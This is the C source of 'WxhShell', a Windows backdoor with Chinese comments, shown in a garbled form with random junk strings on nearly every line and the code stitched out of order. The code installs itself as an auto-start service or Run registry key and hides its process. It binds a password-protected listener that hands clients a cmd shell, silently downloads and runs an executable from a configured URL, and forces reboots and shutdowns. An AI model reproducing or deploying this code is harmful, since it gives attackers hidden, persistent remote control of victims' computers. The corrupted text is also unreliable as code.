    } E\U6n""]  
  // 关机 EYc, "'  
  case 'd': { Y..   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n[zP}YRr  
    if(Boot(SHUTDOWN)) ]lj,GD)c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JX_hLy@`  
    else { =*Z=My}3~  
    closesocket(wsh); PCl@Ff  
    ExitThread(0); esCm`?qCP  
    } m>4jRr6sF  
    break; v3 $+ l1  
    } imcq H  
  // 获取shell K\5'pp1  
  case 's': { lSw9e<jYO  
    CmdShell(wsh); pDr%uL  
    closesocket(wsh); J)O1)fR  
    ExitThread(0); odxsF(Q0p  
    break; [zp v3Uw  
  } # 4E@y<l$  
  // 退出 2ye^mJ17  
  case 'x': { 19od# d3+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =ogzq.+|  
    CloseIt(wsh); k%w5V>]1  
    break; *hI  
    } !6_lD 0  
  // 离开 ZM oV!lu  
  case 'q': { H\A!oB,sw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wT?.Mte  
    closesocket(wsh); @fR^":.h  
    WSACleanup(); a/ !!Y@7  
    exit(1); y(&JE^GfX  
    break; XCU.tWR:  
        } xEBiBsk d  
  } td^2gjr^5  
  } ~@ZdO+n?  
d#:&Uw  
  // 提示信息 nOxCni~ T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); et";*EZJX  
} W69 -,w/  
  } YH33E~f  
@ mm*S:Gt#  
  return; D*+uH;ws  
} q0Fq7rWP  
P+pL2BA  
// shell模块句柄 T^h;T{H2  
int CmdShell(SOCKET sock) L-_dq0T  
{ fII;t-(x  
STARTUPINFO si; =jvM$  
ZeroMemory(&si,sizeof(si)); o)'u%m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QC.WR'.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xq_%|p}y  
PROCESS_INFORMATION ProcessInfo; Ws?BAfP  
char cmdline[]="cmd"; G v[W)+3f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dsP|j (y  
  return 0; v(^{ P  
} Ms5m.lX  
fq/F| c  
// 自身启动模式 6GCwc1g  
int StartFromService(void) q q}EXq^  
{ lTe}[@(  
typedef struct d;&'uiS  
{ U#G[#sd> K  
  DWORD ExitStatus; 9 v)p0  
  DWORD PebBaseAddress; ]bO {001y,  
  DWORD AffinityMask; 0gPz|v>z  
  DWORD BasePriority; q[{q3-W  
  ULONG UniqueProcessId; y XZZ)i_  
  ULONG InheritedFromUniqueProcessId; >T{9-_#P  
}   PROCESS_BASIC_INFORMATION; 0'O;H[nrl  
DQW^;Ls  
PROCNTQSIP NtQueryInformationProcess; 0-"ps]X  
~rE U83  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {snLiCl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /6}4<~~4TA  
]d?`3{h9LD  
  HANDLE             hProcess; &n|! '/H  
  PROCESS_BASIC_INFORMATION pbi; aNb=gjLpt  
Nj||^k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XOzPi*V**  
  if(NULL == hInst ) return 0; yrO'15TB  
k:PO"<-U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  X>OO4SV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o:#l r{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #6'oor X  
W"4E0!r  
  if (!NtQueryInformationProcess) return 0; x{<WJ|'B  
2D`@$)KL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e8gJ }8Fj  
  if(!hProcess) return 0; YIb5jK `  
@uz&]~+`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6NJ"ty9Bp  
cv;&ff2%?  
  CloseHandle(hProcess); ntkTrei ]  
4XK*sR0-`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  CJg &  
if(hProcess==NULL) return 0; O_0|Q@  
/A\'_a|  
HMODULE hMod; 5%(J+d  
char procName[255]; vn3<LQ]  
unsigned long cbNeeded; o%X_V!B{V  
+o(t5O[G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Je2o('MA  
84)$ CA+NX  
  CloseHandle(hProcess); rxCEOG  
G/_#zIN`8M  
if(strstr(procName,"services")) return 1; // 以服务启动 }!\NdQs  
MBs]<(RJZ  
  return 0; // 注册表启动 w{)*'8oCB  
} } IFZ$Y  
AuHOdiJ  
// 主模块  Fwyv>U  
int StartWxhshell(LPSTR lpCmdLine) 7!w@u6Q  
{ r4dG83qg  
  SOCKET wsl; TYWajcch  
BOOL val=TRUE; A?|KA<&m#u  
  int port=0; &>0=v  
  struct sockaddr_in door; [J\5DctX;c  
%75|+((fC  
  if(wscfg.ws_autoins) Install(); lG>rf*ei~  
4Ub_;EI>  
port=atoi(lpCmdLine); UoPd>q4Uj  
?H eC+=/Z  
if(port<=0) port=wscfg.ws_port; xb0hJ~e  
XV1#/@H;  
  WSADATA data; T[U&Y`3g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l@Ma{*s6=5  
,=B "%=S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cf1Ve\(YGI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a1 M-F3  
  door.sin_family = AF_INET; b')CGqbbmT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v3[Z ]+ ]  
  door.sin_port = htons(port); Gv>,Ad ka  
g[*+R9'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { AOWX=`J8V  
closesocket(wsl); .x$+R%5U  
return 1; c.m ' %4  
} 6g8{;6x  
pA"x4\s   
  if(listen(wsl,2) == INVALID_SOCKET) { y`:}~nUdT  
closesocket(wsl); 8NudY3cU!  
return 1; [0yKd?e  
} xU@YBzbk  
  Wxhshell(wsl); oc?,8I[P5  
  WSACleanup(); QUb#;L@okn  
+c/am``  
return 0; u@}((V  
;WJ}zjo >  
} uTA /E9OY  
p&B98c  
// 以NT服务方式启动 HC*=E.J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ( Z\OqG  
{ 24Z7;'  
DWORD   status = 0; g)!B};AA  
  DWORD   specificError = 0xfffffff; T.d+@ZV<#  
m;WUp{'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %CfJ.;BDNE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WfBA5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2uZ <q?=  
  serviceStatus.dwWin32ExitCode     = 0; m'KY;C  
  serviceStatus.dwServiceSpecificExitCode = 0; Zn1+} Z@I  
  serviceStatus.dwCheckPoint       = 0; #w*1 !  
  serviceStatus.dwWaitHint       = 0; \o?zL7  
@R9zLL6#7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Um)0jT  
  if (hServiceStatusHandle==0) return; y AU[A  
6%JKY+n^  
status = GetLastError(); -. L)-%wIV  
  if (status!=NO_ERROR) XPd>DH(Yc  
{ ^ox^gw)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /v: g' #n  
    serviceStatus.dwCheckPoint       = 0; R s_@L}U..  
    serviceStatus.dwWaitHint       = 0; Pg-~^"?y  
    serviceStatus.dwWin32ExitCode     = status; &}nU#)IX  
    serviceStatus.dwServiceSpecificExitCode = specificError; =<_xUh.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pNcNU[c  
    return; G`ZpFg0Y  
  } #57nm]?  
^*`{W4e]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [Oxmg?W  
  serviceStatus.dwCheckPoint       = 0; CCDoiTu!4  
  serviceStatus.dwWaitHint       = 0; 3uwu}aw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K%Mm'$fTw  
} Lt8chNi [  
S]KcAz(fX  
// 处理NT服务事件,比如:启动、停止 R@5jEf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) : &mYz(1q  
{ j?i Ur2  
switch(fdwControl) Kf76./  
{ B~cq T/\?  
case SERVICE_CONTROL_STOP: 5z~Ji77!  
  serviceStatus.dwWin32ExitCode = 0; $yIcut7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i6-q%%]6  
  serviceStatus.dwCheckPoint   = 0; Nv,[E+a2  
  serviceStatus.dwWaitHint     = 0; g.kpUs  
  { W,`u5gbT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7ks09Cy  
  } IPbdX@FeV  
  return; -g]/Ko]2@$  
case SERVICE_CONTROL_PAUSE: s{NEP/QQJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4};!nYey!  
  break; DdJxb{y7  
case SERVICE_CONTROL_CONTINUE: I--WS[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U> (5J,G  
  break; f62z9)`^  
case SERVICE_CONTROL_INTERROGATE: 79~,KFct  
  break; VBF3N5 ;W  
}; d0>V^cB'?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !w[<?+%%n  
} ^LfCLI9Z  
_c['_HC  
// 标准应用程序主函数 Z_iu^ Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q`7!~qV0=  
{ Y)N(uv6  
WVftLIJ  
// 获取操作系统版本 h.%VWsAO7  
OsIsNt=GetOsVer(); W([)b[-*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Xf:CGR8_  
yH|ucN~k5S  
  // 从命令行安装 v>c[wg9P  
  if(strpbrk(lpCmdLine,"iI")) Install(); wHBkaPO!  
Uey.@2Q  
  // 下载执行文件 >L$y|8 O  
if(wscfg.ws_downexe) { DvG.G+mo#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]"dZE2!  
  WinExec(wscfg.ws_filenam,SW_HIDE); -vGyEd7  
} Gu V -[  
$9y]>R  
if(!OsIsNt) { Nn ?BD4i  
// 如果时win9x,隐藏进程并且设置为注册表启动 rzDqfecOmW  
HideProc(); 8!TbJVR  
StartWxhshell(lpCmdLine); ,4NvD2Y  
} DOkEWqM!  
else x1/Usupi  
  if(StartFromService()) A~ '2ki5$g  
  // 以服务方式启动 .'lc[iI9)d  
  StartServiceCtrlDispatcher(DispatchTable); 9u1_L`+b  
else ";`ddN3  
  // 普通方式启动 !__f  
  StartWxhshell(lpCmdLine); 'M_8U0k  
Y">Q16(  
return 0; RT9fp(6*  
} )P[B!  
(*/P~$xIj  
Sj+ gf~~  
0+/L?J3  
=========================================== (8GJLs 8  
|O+R%'z'<  
.W,< ]L '  
J%aW^+O  
CLQ\Is^]  
Wfu%,=@,  
" ~NpnRIt  
r4J4|&ym  
#include <stdio.h> b=F"  
#include <string.h> %a5Sc|&-  
#include <windows.h> csRba;Z[  
#include <winsock2.h> 1Lqs>*  
#include <winsvc.h> g|"z'_  
#include <urlmon.h> xO/44D  
VEpIAC4  
#pragma comment (lib, "Ws2_32.lib") %T}{rU~X  
#pragma comment (lib, "urlmon.lib") r;O{et't7y  
bp_3ETK]P  
#define MAX_USER   100 // 最大客户端连接数 .NCQiQ  
#define BUF_SOCK   200 // sock buffer Cla Yy58v  
#define KEY_BUFF   255 // 输入 buffer K._1sOw'"Y  
Z6K9E=%)c  
#define REBOOT     0   // 重启 M[<O]p6  
#define SHUTDOWN   1   // 关机 m(B6FPjr  
~i))Zc3,g\  
#define DEF_PORT   5000 // 监听端口 g|)e3q{M  
:eHh }  
#define REG_LEN     16   // 注册表键长度 m$QFtrvy  
#define SVC_LEN     80   // NT服务名长度 pm5Yc@D  
js;IUSj.  
// 从dll定义API bTO$B2eh|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q/Q^\HTk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9nM {x?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h=`rZC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <u->hT  
(>WV)  
// wxhshell配置信息 168U-<  
struct WSCFG { jG)>{D  
  int ws_port;         // 监听端口 LwY_6[Ef  
  char ws_passstr[REG_LEN]; // 口令 O~'1)k>  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,LcMNPr  
  char ws_regname[REG_LEN]; // 注册表键名 r)+dK }xl  
  char ws_svcname[REG_LEN]; // 服务名 /V7u0y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 AuO%F YKY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t9 &O0tpe  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "_?^uymw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  9FWn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2"BlV *\lS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HK2`.'D  
uA}asm  
}; >z[d ~  
fF-V=Zf5  
// default Wxhshell configuration v]!|\]  
struct WSCFG wscfg={DEF_PORT, <U1uuOt  
    "xuhuanlingzhe", !my5-f>{(  
    1, /JveN8L%  
    "Wxhshell", {K[+nX =#  
    "Wxhshell", jg%D G2  
            "WxhShell Service", ry7(V:ic  
    "Wrsky Windows CmdShell Service", >"`:w  
    "Please Input Your Password: ", . `hlw'20  
  1, R^PQ`$W 'R  
  "http://www.wrsky.com/wxhshell.exe", q!O~*   
  "Wxhshell.exe" \[,7#  
    }; J~c]9t  
ke&c<3m  
// 消息定义模块 `P# h?tZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (8H^{2K~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ](Sp0t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rNgE/=X  
char *msg_ws_ext="\n\rExit."; jkD5Z`D  
char *msg_ws_end="\n\rQuit."; +A:}5{  
char *msg_ws_boot="\n\rReboot..."; /iukiWeW  
char *msg_ws_poff="\n\rShutdown..."; u$a%{46  
char *msg_ws_down="\n\rSave to "; yTZbJx?m  
VF[]E0=u6  
char *msg_ws_err="\n\rErr!"; 7L]fCw p[  
char *msg_ws_ok="\n\rOK!"; cFH,fj  
'etCIl3  
char ExeFile[MAX_PATH]; ~Q6ufTGhpM  
int nUser = 0; ueqR@i  
HANDLE handles[MAX_USER]; fx_7B (  
int OsIsNt; fY-{,+ `'  
zL7+HY* 3o  
SERVICE_STATUS       serviceStatus; D.\p7 NJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v"bOv"!al  
\ wnQ[UNjP  
// 函数声明 /5wvXk|@  
int Install(void); "}ZD-O`!  
int Uninstall(void); .c BJA&/  
int DownloadFile(char *sURL, SOCKET wsh); dc:|)bK M  
int Boot(int flag); LrK6*y,z  
void HideProc(void); ]huqZI  
int GetOsVer(void); /Wzic+v<>  
int Wxhshell(SOCKET wsl); FTk!Mn88  
void TalkWithClient(void *cs); *;4r|# LG  
int CmdShell(SOCKET sock); FC)aR[  
int StartFromService(void);  /@%  
int StartWxhshell(LPSTR lpCmdLine); XmXHs4  
lRentNg0b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T>L6 X:d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *t*yozN  
j@ =n|cq  
// 数据结构和表定义 [kn`~hI  
SERVICE_TABLE_ENTRY DispatchTable[] = qwVpGNc45  
{ Q=>@:1=  
{wscfg.ws_svcname, NTServiceMain}, {mI95g&  
{NULL, NULL} ,V |>nkQ  
}; O </<  
69CH W&  
// 自我安装 44b'40  
int Install(void) #&Biu }4D  
{ x{IOn;>R  
  char svExeFile[MAX_PATH]; m]&d TZV  
  HKEY key; |\elM[G"g  
  strcpy(svExeFile,ExeFile); tl0_as  
Xhi9\wteYw  
// 如果是win9x系统,修改注册表设为自启动 =Y /  
if(!OsIsNt) { g.&&=T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "-N%`UA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .D>%-  
  RegCloseKey(key); m"jqHGFV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C>t1~^Q},9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rl$NiY?2  
  RegCloseKey(key); y%3Yr?]  
  return 0; Xc`'i@FX  
    } uKhfZSx0 w  
  } Z7OWpujCvN  
} b9`MUkGGd  
else { !^B`7  
?][Mv`ST  
// 如果是NT以上系统,安装为系统服务 K4A=lD+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); { \r{$<s  
if (schSCManager!=0) u[ "Pg  
{  +loD{  
  SC_HANDLE schService = CreateService P ,5P6Y9  
  ( O"_FfwO a  
  schSCManager, l}Jf;C*j1z  
  wscfg.ws_svcname, G#n27y nh  
  wscfg.ws_svcdisp, xZbm,. v  
  SERVICE_ALL_ACCESS, k`kmmb>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lSl=6R  
  SERVICE_AUTO_START, O_(/uLH  
  SERVICE_ERROR_NORMAL, [C/h{WPC-  
  svExeFile, ZuILDevMD  
  NULL, Dj #G{X".  
  NULL, rEs,o3h?po  
  NULL, ysDfp'C,  
  NULL, ]J:?@}\^  
  NULL uRwIxT2  
  ); SJj0*ry:  
  if (schService!=0) 9`QWqu[  
  { KS3 /  
  CloseServiceHandle(schService); pH'#v]"  
  CloseServiceHandle(schSCManager); Y }Rx`%X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mgh,)=2cE(  
  strcat(svExeFile,wscfg.ws_svcname); )m \}ITf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :Y ~fPke  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @kRe0:t  
  RegCloseKey(key); O0';j!?X  
  return 0; * t{A=Wk  
    } Cf J@|Rh  
  } pZ%/;sxYa  
  CloseServiceHandle(schSCManager); ,/ly|Dv  
} vw>O;u.]B  
}  3m  
fG2\p&z  
return 1; <eI7xifD  
} e*Sv}4e=.  
2< w/GX.  
// 自我卸载 O jr{z  
int Uninstall(void) \y"!`.E7\d  
{ i~PN(h  
  HKEY key; OjJKloy'  
;WO/xA-#  
if(!OsIsNt) { q --NLm@;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &5)Kg%r  
  RegDeleteValue(key,wscfg.ws_regname); a>(LFpVk}  
  RegCloseKey(key); `BdZqXKG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xu3o,k  
  RegDeleteValue(key,wscfg.ws_regname); n*{e0,gp`  
  RegCloseKey(key); IM7k\  
  return 0; /}]X3ng  
  } 4%aODr8  
} 3)Wi? -  
} GG/~)^VMe  
else { #3f\,4K5  
wk<QYLEk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xoA\^AA  
if (schSCManager!=0) ~^UQw? ;  
{ 6~ev5SD;f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1b-4wonQd  
  if (schService!=0) O|O#T.Tg  
  { K!lGo3n]  
  if(DeleteService(schService)!=0) { 9e@Sx{?r  
  CloseServiceHandle(schService); #O7|&DqF{  
  CloseServiceHandle(schSCManager); X25cU{  
  return 0; 1;i[H[hNY  
  } jt@k< #h~  
  CloseServiceHandle(schService); RM|<(kq  
  } k$9oUE,  
  CloseServiceHandle(schSCManager); fpwge/w  
} =q.2S; ?  
} n"Ot'1yr  
,ic.b @u1  
return 1; ~Yv"=  
} =P!SN]nFeP  
MW=2GhD=  
// 从指定url下载文件 vZ\~+qV,A  
int DownloadFile(char *sURL, SOCKET wsh) Vf`n>  
{ hub1rY|No  
  HRESULT hr; qY]IX9'kV  
char seps[]= "/"; {n2mh%I  
char *token; P ^R224R  
char *file; Q+*o-  
char myURL[MAX_PATH]; Z)Nl\e& M  
char myFILE[MAX_PATH]; (y7U}Sb'  
\::<]  
strcpy(myURL,sURL); ;,}tXz  
  token=strtok(myURL,seps); +e. bO5Y  
  while(token!=NULL) ]i3 2-8%  
  { q %i2' yE  
    file=token; qiV#T +\  
  token=strtok(NULL,seps); J 6U3}SO=y  
  } Dtl381F J  
,~`R{,N`  
GetCurrentDirectory(MAX_PATH,myFILE); d\WnuQR[  
strcat(myFILE, "\\"); m;)[gF  
strcat(myFILE, file); f' Dl*d  
  send(wsh,myFILE,strlen(myFILE),0); t5G@M&d4Eo  
send(wsh,"...",3,0); W! v8'T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0&E{[~Pv  
  if(hr==S_OK) w&:"x@ -|  
return 0; %,Xs[[?i  
else glbU\K> >  
return 1; zp x  
cd)yj&:?Bt  
} SE&J)Sj]  
h1} x2  
// 系统电源模块 BFc=GiPnQ  
int Boot(int flag) "l6v[yv  
{ ,d'x]&a  
  HANDLE hToken; \2~Cn c*O  
  TOKEN_PRIVILEGES tkp; xH!{;i  
6|+I~zJ88  
  if(OsIsNt) { xH#R_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N '2Nv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [GJ_]w^}j  
    tkp.PrivilegeCount = 1; #G%[4.$n.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DyIuM{Owj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DS0c0lsx  
if(flag==REBOOT) { $e1==@ R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m?VA 1  
  return 0; //S/pCqED  
} Sa7bl~p\  
else { ZE863M@.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8`l bKV  
  return 0; H5j6$y|I|N  
} 'F.Da#st!}  
  } ")LcB' C  
  else { pLi_)(#z_  
if(flag==REBOOT) { ~{lSc/SP|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &6V[@gmD  
  return 0; ;5QdT{$H  
} Ib3n%AG  
else { L ldZ"%P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =0!PnBGYn  
  return 0; ^ur?da9z'  
} } wZ9#Ll  
} `5,46_  
;zk& 7P0  
return 1; a hQdBoj  
} [xW;5j<87  
D>neY9  
// win9x进程隐藏模块 x{y}pH"H  
void HideProc(void) KCEBJ{jM  
{ wj$l 093  
_M[@a6?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8[@aX;I  
  if ( hKernel != NULL ) jFS])",\i  
  { mN+ w,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }t5-%&gBY0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UqHk2h-  
    FreeLibrary(hKernel); fL-lx-~  
  } zM:&`6;e  
!V/Vy/'` *  
return; 8x":7 yV&  
} U~h f,Oxi  
&!Sq6<!v2  
// 获取操作系统版本 FO[x c;  
int GetOsVer(void) ]/31@RT  
{ /qf(5Bm  
  OSVERSIONINFO winfo; n[|*[II  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I?y!d G  
  GetVersionEx(&winfo); xLX2F   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `X;'*E]e  
  return 1; 5D9n>K4|  
  else s0EF{2<F  
  return 0;  8kn> ?  
} YF)uAJAk  
OO$YwOKS  
// 客户端句柄模块 K;uO<{a)r  
int Wxhshell(SOCKET wsl) u?Pec:3%  
{ Ui:WbH<b{  
  SOCKET wsh; ,oin<K  
  struct sockaddr_in client; ?LxBH -o(  
  DWORD myID; N+0[p@0  
19#s:nt9  
  while(nUser<MAX_USER) <I 5F@pe'  
{ v,}Mn7:  
  int nSize=sizeof(client); )~> C1<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `#g62wb,HY  
  if(wsh==INVALID_SOCKET) return 1; ;*J_V/&?  
e@j&c:p(Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %2q0lFdcM  
if(handles[nUser]==0) p+.xye U(  
  closesocket(wsh); i #pBzJ  
else iNO}</7?  
  nUser++; ZBY*C;[)*P  
  } J]AkWEiCJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %tK^&rw%  
;:WM^S  
  return 0; NsJ]Tp5!  
} S'  <X)  
L>3-z>u,  
// 关闭 socket |XrGf2P9u  
void CloseIt(SOCKET wsh) ,%^qzoZnT  
{ vB?(|  
closesocket(wsh); Jx+e_k$gHO  
nUser--; hJc^NU5  
ExitThread(0); 0F5QAR O  
} R9q9cB i3  
7*MjQzg-P  
// 客户端请求句柄 4 (>8tP\Y  
void TalkWithClient(void *cs) 'pa8h L  
{ kJ_XG;8  
/EvnwYQy  
  SOCKET wsh=(SOCKET)cs; i6-&$<  
  char pwd[SVC_LEN]; j e;^i,&  
  char cmd[KEY_BUFF]; 1nZ7xCDK98  
char chr[1]; eZbT;  
int i,j; cx_$`H  
p!o+8Xz5  
  while (nUser < MAX_USER) { %;ZDw@_<  
Aq*,cOF+  
if(wscfg.ws_passstr) { JTS<n4<a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6DxT(VU}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1,Uf-i  
  //ZeroMemory(pwd,KEY_BUFF); _08y; _S  
      i=0; }nt,DG!r  
  while(i<SVC_LEN) { SrT=XX,  
W*Gp0pX  
  // 设置超时 +rOfQ'lQ  
  fd_set FdRead; /8[T2Z!  
  struct timeval TimeOut; JfVGs;_,  
  FD_ZERO(&FdRead); Sd?+j;/"  
  FD_SET(wsh,&FdRead); hNL_ e3  
  TimeOut.tv_sec=8; d$<1Ma}  
  TimeOut.tv_usec=0; )%Lgo${[;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &B@qb?UE1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <,+6:NmT  
`XK+Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $[HpY)MSRw  
  pwd=chr[0]; r Cn"{.rI  
  if(chr[0]==0xd || chr[0]==0xa) { |n %<p  
  pwd=0; &Tn7  
  break; 1g1gu=|Q  
  } .{Df"e>  
  i++; | X0Ys8f  
    } 3=Va0}#&  
O#@KP"8  
  // 如果是非法用户,关闭 socket H\RuYCn2G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2\L}Ka|v  
} :}[[G2|9  
P#x]3j]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F/chE c V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OJ4-p&1  
#7dM %  
while(1) { Oo`b#!L  
K0\Wty0  
  ZeroMemory(cmd,KEY_BUFF); VkDFR [k_  
n$YCIW )0  
      // 自动支持客户端 telnet标准   G[[NDK  
  j=0; }hX"A!0  
  while(j<KEY_BUFF) { ~zA{=|I2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bcy( ?(  
  cmd[j]=chr[0]; i4*!t.eI  
  if(chr[0]==0xa || chr[0]==0xd) { n:5*Tg9  
  cmd[j]=0; js8GK  
  break; (!&g (l;  
  } k.CHMl]  
  j++; $N`uM  
    } B\ a#Vtyut  
4!r> ^a  
  // 下载文件 ?G>#'T[  
  if(strstr(cmd,"http://")) { >5!/&D.q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); # pz{,  
  if(DownloadFile(cmd,wsh)) p; ZEz<M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3` aJ"qQE  
  else |Zo_x} 0  
